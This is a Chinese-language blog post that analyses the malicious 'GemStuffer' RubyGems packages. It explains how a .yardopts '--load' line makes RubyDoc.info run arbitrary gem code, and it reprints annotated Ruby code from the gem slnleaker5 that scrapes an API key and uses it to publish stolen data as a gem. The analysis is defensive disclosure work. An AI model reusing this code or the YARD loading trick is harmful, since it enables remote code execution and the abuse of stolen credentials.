说实话,我一开始并没有太在意这件事(甚至都没有去研究),直到 Sydney Von Arx 和 Spencer Kitts(两人都是 https://www.rubyhack.ai 的合著者)联系我询问 RubyGems 的情况。 在他们提出这些说法时,我曾以为完全是天方夜谭,直到我真正读了这些“GemStuffer” gem 里的代码。
读完这些 gem 的代码后,有几点让我印象深刻。
首先,这些 gem 利用 YARD 文档在主机上执行任意代码。
在大多数示例中,你会看到一个类似这样的 .yardopts 文件:
--load ./script.rb README.md lib/**/*.rb 这里是一个示例链接。
如果你安装了 YARD,并且安装了这个 gem,那么 YARD 就会加载并运行 gem 内 ./script.rb 中的内容。
C 扩展会执行 extconf.rb(所以这基本上就是一个 RCE 攻击向量)这一点是众所周知的,但让我惊讶的是,一个文档工具竟然也会这样做。
不过,没人会去安装一个名为 slnleaker5 的 gem,那这为什么还重要呢?
因为每当一个 gem 出现在 RubyDoc.info 上时,它都会在 Docker 容器内执行其中的任意代码。
而这个 Docker 容器仍然可以访问网络,所以这些 gem 可以在容器内肆意进行网页抓取。
换句话说,只要你在 RubyGems.org 上发布一个 gem,就能在 RubyDoc.info 上执行任意代码。
我之前提到过,这些 gem 会尝试抓取一些网站,然后把抓取到的数据打包成 gem 上传。 下面是其中一个 gem 的代码摘录。我对代码做了一些清理以便于理解,原始代码在这里:
`# leak exfil by repeated attempts & fresh leaked keys variants
(Aaron): First request
ku = URI(‘https://rubygems.org’+kp) kh = Net::HTTP.new(ku.host,ku.port) kh.use_ssl = true kh.verify_mode = OpenSSL::SSL::VERIFY_NONE kt = kh.start { |x| x.get(ku.request_uri) }.body
(Aaron): Try to match a key in the body
key = (kt[/rubygems_[a-f0-9]{20,}/] || KEY) paths = [’/api/v1//gems’,’//api/v1/gems’,’/api//v1/gems’,’/api/v1/gems?x=2’,’/api/v1/gems’]
(Aaron): Second request to actually publish the gem
u = URI(‘https://rubygems.org’+paths[i%paths.length])
req = Net::HTTP::Post.new(u)
req[‘Authorization’] = key
req[‘Content-Type’] = ‘application/octet-stream’
req.body = data
hh = Net::HTTP.new(u.host,u.port)
hh.use_ssl = true
hh.verify_mode = OpenSSL::SSL::VERIFY_NONE
hh.read_timeout = 180
res = hh.start{ |x| x.request(req) }
代码中带有(Aaron)的注释是我为了帮助理解而写的。 第一条注释是[直接从源码](https://my.diffend.io/gems/slnleaker5/0.0.1#d2h-229454-1428)中提取的。 上面的代码尝试发起两个请求。 第一个请求是一个简单的 GET 请求。 它会尝试从 RubyGems.org 获取一个路径,然后在响应体中查找匹配正则表达式/rubygems_[a-f0-9]{20,}/的密钥。 如果该正则表达式没有匹配到,就会回退使用全局的KEY`。
第二个请求则尝试通过 POST 上传 gem。